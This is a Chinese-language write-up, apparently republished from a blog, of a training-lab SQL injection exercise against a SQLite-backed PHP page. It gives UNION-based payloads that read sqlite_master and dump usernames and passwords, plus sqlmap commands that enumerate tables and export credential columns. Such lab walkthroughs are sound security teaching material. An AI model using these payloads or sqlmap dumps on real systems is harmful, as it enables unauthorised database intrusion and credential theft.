1. 墨者学院:SQL手工注入漏洞测试(SQLite数据库)🚀

2. SQLite数据库注入特点🔍

SQLite数据库和MySQL数据库语法不同,不能直接套用MySQL的注入方式。但SQLite有个特殊的数据库sqlite_master,它存储了所有表结构信息,我们可以利用它进行注入测试。sqlite_master 表的结构是固定的,它至少包含以下字段:

字段名数据类型描述
typeTEXT对象类型(tableindexviewtrigger
nameTEXT表名、索引名、视图名等
tbl_nameTEXT所属表名(对索引和触发器有用)
rootpageINTEGER在数据库文件中的存储位置
sqlTEXT创建该对象的 SQL 语句

所有标准的 SQLite 数据库都会包含 namesql 字段,因为它们是 SQLite 引擎用来存储数据库结构的核心字段。


3. 手工注入测试🎯

测试目标URL:http://124.70.71.251:43066/new_list.php?

3.1 判断字段数⚡

id=1 order by 5

在这里插入图片描述

3.2 判断显示位⚡

id=1 union select 1,2,3,4

!https://via.placeholder.com/600x400?text=union+select+1,2,3,4+截图

3.3 获取所有表名⚡

id=1 union select 1,2,group_concat(name),4 from sqlite_master

!https://via.placeholder.com/600x400?text=获取所有表名截图

3.4 获取WSTMart_reg表结构⚡

id=1 union select 1,2,sql,4 from sqlite_master where name='WSTMart_reg'

!https://via.placeholder.com/600x400?text=获取表结构截图

3.5 获取WSTMart_reg表数据⚡

id=1 union select 1,group_concat(name),group_concat(password),4 from WSTMart_reg

!https://via.placeholder.com/600x400?text=获取表数据截图

4. sqlmap自动化测试🎯

因为得到了数据库sqlite_master,sqlmap就可以接着爆破,省去手动测试

4.1 枚举sqlite_master中的表⚡

python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master --tables --batch

!https://via.placeholder.com/600x400?text=枚举表截图

4.2 枚举WSTMart_reg表的列⚡

python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master -T WSTMart_reg --columns --batch

!https://via.placeholder.com/600x400?text=枚举列截图

4.3 导出WSTMart_reg表数据⚡

python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master -T WSTMart_reg -C id,name,password,status --dump --batch

!https://via.placeholder.com/600x400?text=导出数据截图

4.4 清理缓存⚡

python sqlmap.py --purge

该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap指令获取如下:

python sqlmap.py -h

5. 总结🏁

  1. SQLite注入与MySQL注入方式不同,但通过sqlite_master系统表可以获取数据库结构
  2. 手工注入步骤:判断字段数→确定显示位→获取表名→获取表结构→获取数据
  3. sqlmap可以自动化完成整个注入过程,效率更高

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/91539.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/91539.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/91539.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Apache Tomcat】

目录Tomcat 基本简介Tomcat 架构组成Tomcat 的目录结构Tomcat 的工作原理Tomcat 的配置文件Tomcat 与其他服务器对比Tomcat 使用场景Tomcat 与 Spring Boot常见问题与优化Tomcat(全称 Apache Tomcat)是由 Apache 软件基金会开发和维护的一款 开源的 Web …

Nginx参数proxy_set_header 与 add_header 核心区别

proxy_set_header 与 add_header 是 Nginx 中两个用于操作 HTTP 头部信息的指令,但作用方向和使用场景完全不同。以下是两者的核心区别:核心区别概述特性proxy_set_headeradd_header作用方向✅ 请求头(Request Headers) → 后端服…

若依框架-前端二次开发快速入门简述

1.目录如左图所示,主要分为bin,build,node_modules,public,src几个部分,我们从gitee上使用bash将项目克隆到本地后,进入项目目录,并安装好依赖后可以直接使用命令启动服务,具体命令见README.md,安装好依赖后…

day 41 类和方法

day 28 类是对属性和方法的封装,可以理解为模版,通过对模型实例化可以实现调用这个类的属性和方法。比如创建一个随机森林类,然后就可以调用它的训练和预测方法。 一个常见的类的定义包括了: 1、关键字class 2、类名 3、语法固定…

Docker学习日志-Docker容器配置、Nginx 配置与文件映射

Docker学习日志-Docker容器配置、Nginx 配置与文件映射 docker run 之后能否再次修改卷映射或端口映射? 不能直接修改已创建容器的卷映射或端口映射。 Docker 的设计原则是 **容器是不可变的 **,也就是说: 一旦容器通过 docker run 创建完成&…

cpp实现音频重采样8k->16k及16k->8k

static int convert_8khz_to_16khz(void* dst_buf, void* src_buf, int src_size) {short* in static_cast<short*>(src_buf);short* out static_cast<short*>(dst_buf);int in_samples src_size / sizeof(short);// 边界处理&#xff1a;前两个样本out[0] in[…

【机器学习】机器学习新手入门概述

目录 一、机器学习概念 1.1基本概念 1.2 主要类型 1.2.1 监督学习&#xff08;Supervised Learning&#xff09; &#xff08;1&#xff09;基本介绍 &#xff08;2&#xff09;任务目标 &#xff08;3&#xff09;常见算法 &#xff08;4&#xff09;应用场景 1.2.2 无…

嵌入式硬件篇---ESP32稳压板

制作 ESP32 稳压板的核心目标是&#xff1a;给 ESP32 提供稳定的 3.3V 电源&#xff08;ESP32 的工作电压必须是 3.3V&#xff09;&#xff0c;同时支持多种供电方式&#xff08;比如锂电池、USB、外接电源&#xff09;&#xff0c;并具备保护功能&#xff08;防止过流、接反电…

sql server 删除用户时提示:数据库主体在该数据库中拥有 架构,无法删除

sql server 删除用户时提示&#xff1a;数据库主体在该数据库中拥有 架构&#xff0c;无法删除&#xff0c;怎么办&#xff1f; 1、删除用户ncdb2、 数据库主体在该数据库中拥有 架构&#xff0c;无法删除。3、查看该用户拥有的架构4、找到该用户拥有的这个架构&#xff0c;右键…

分类-鸢尾花分类

目录 基本步骤 决策树&#xff08;分类&#xff09; 导入鸢尾花数据集 赋值给x与y 划分数据集 导入决策树模型 实例化 训练 ​编辑 导入计算准确率的库 计算准确率 随机森林&#xff08;分类&#xff09; 导入鸢尾花的数据集&#xff0c; 赋值x&#xff0c;y 取后一…

单元测试、系统测试、集成测试知识详解

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、单元测试的概念单元测试是对软件基本组成单元进行的测试&#xff0c;如函数或一个类的方法。当然这里的基本单元不仅仅指的是一个函数或者方法&#xff0c;有可…

Python初学OpenCV:图像预处理进阶指南(二)

——实战技巧与创新应用 > 图像预处理是计算机视觉的"基石",掌握它等于获得了让机器"看懂世界"的魔法棒。 在上一篇教程中,我们学习了OpenCV的基础预处理操作。本篇将带你进入图像预处理的进阶世界,通过**实战案例+创新应用**,教你如何组合多种技…

UML类图--基于大话设计模式

类 一般矩形框代表类&#xff0c;类图分为三层&#xff0c;第一层显示类的名称&#xff0c;如果是抽象类&#xff0c;则就用斜体显示&#xff0c;如果是接口&#xff0c;则使用<<interface>>&#xff1b;第二层是类的特性&#xff0c;通常就是字段和属性&#xff1…

数据结构 ArrayList与顺序表

本节目标&#xff1a;了解线性表和顺序表能够实现简单的顺序表及其基本操作认识 ArrayList类并且知道如何去使用本篇文章正式进入数据结构&#xff01;进入之前&#xff0c;先了解一下什么是线性表和顺序表。1.线性表与顺序表线性表线性表&#xff08; linear list &#xff09…

佳维视工业显示器在除尘与过滤设备中的应用

工业显示器凭借高可靠性、防护性能、高显示质量及多功能性&#xff0c;在除尘与过滤设备中扮演着关键角色&#xff0c;其应用贯穿设备监控、数据管理、故障诊断及远程维护全流程&#xff0c;显著提升了设备的运行效率、稳定性和智能化水平。以下是具体应用场景及优势分析&#…

svn与git Merge重要区别讲解

SVN有哪些merge方式 总的来说&#xff0c;SVN 的 merge 主要有以下 五种类型&#xff1a;1. 同步合并 (Sync Merge) / 追赶合并 (Catch-up Merge) 这是在分支开发过程中最常用的一种合并。目的&#xff1a;让你的功能分支保持最新&#xff0c;及时获取主干&#xff08;trunk&am…

Vue 3 入门教程5 - 生命周期钩子

一、生命周期概述Vue 组件从创建到销毁的整个过程称为生命周期&#xff0c;在这个过程中&#xff0c;Vue 会自动触发一系列的函数&#xff0c;这些函数被称为生命周期钩子。通过生命周期钩子&#xff0c;我们可以在组件的不同阶段执行特定的操作&#xff0c;例如初始化数据、发…

负载均衡Haproxy

简介 HAProxy是一款高性能、开源的负载均衡器与反向代理服务器&#xff0c;主要用于 HTTP、TCP等协议的流量分发&#xff0c;广泛应用于高并发、高可用的网络架构中 HAProxy是法国威利塔罗&#xff08;Willy Tarreau&#xff09;使用C语言开发的一个开源软件 企业版&#xff1a…

PostgreSQL锁机制详解:从并发控制到死锁检测

PostgreSQL锁详解 ————向逍xiangxiaohighgo.com 首先要讲锁的话&#xff0c;必须得先了解并发控制。数据库中的对象都是共享的&#xff0c;如果同时间不同的用户对同一个对象进行修改&#xff0c;就会出现数据不一致的情况。所以如果要实现并发访问&#xff0c;就需要对这…

【启发式算法】RRT*算法详细介绍(Python)

&#x1f4e2;本篇文章是博主人工智能&#xff08;AI&#xff09;领域学习时&#xff0c;用于个人学习、研究或者欣赏使用&#xff0c;并基于博主对相关等领域的一些理解而记录的学习摘录和笔记&#xff0c;若有不当和侵权之处&#xff0c;指出后将会立即改正&#xff0c;还望谅…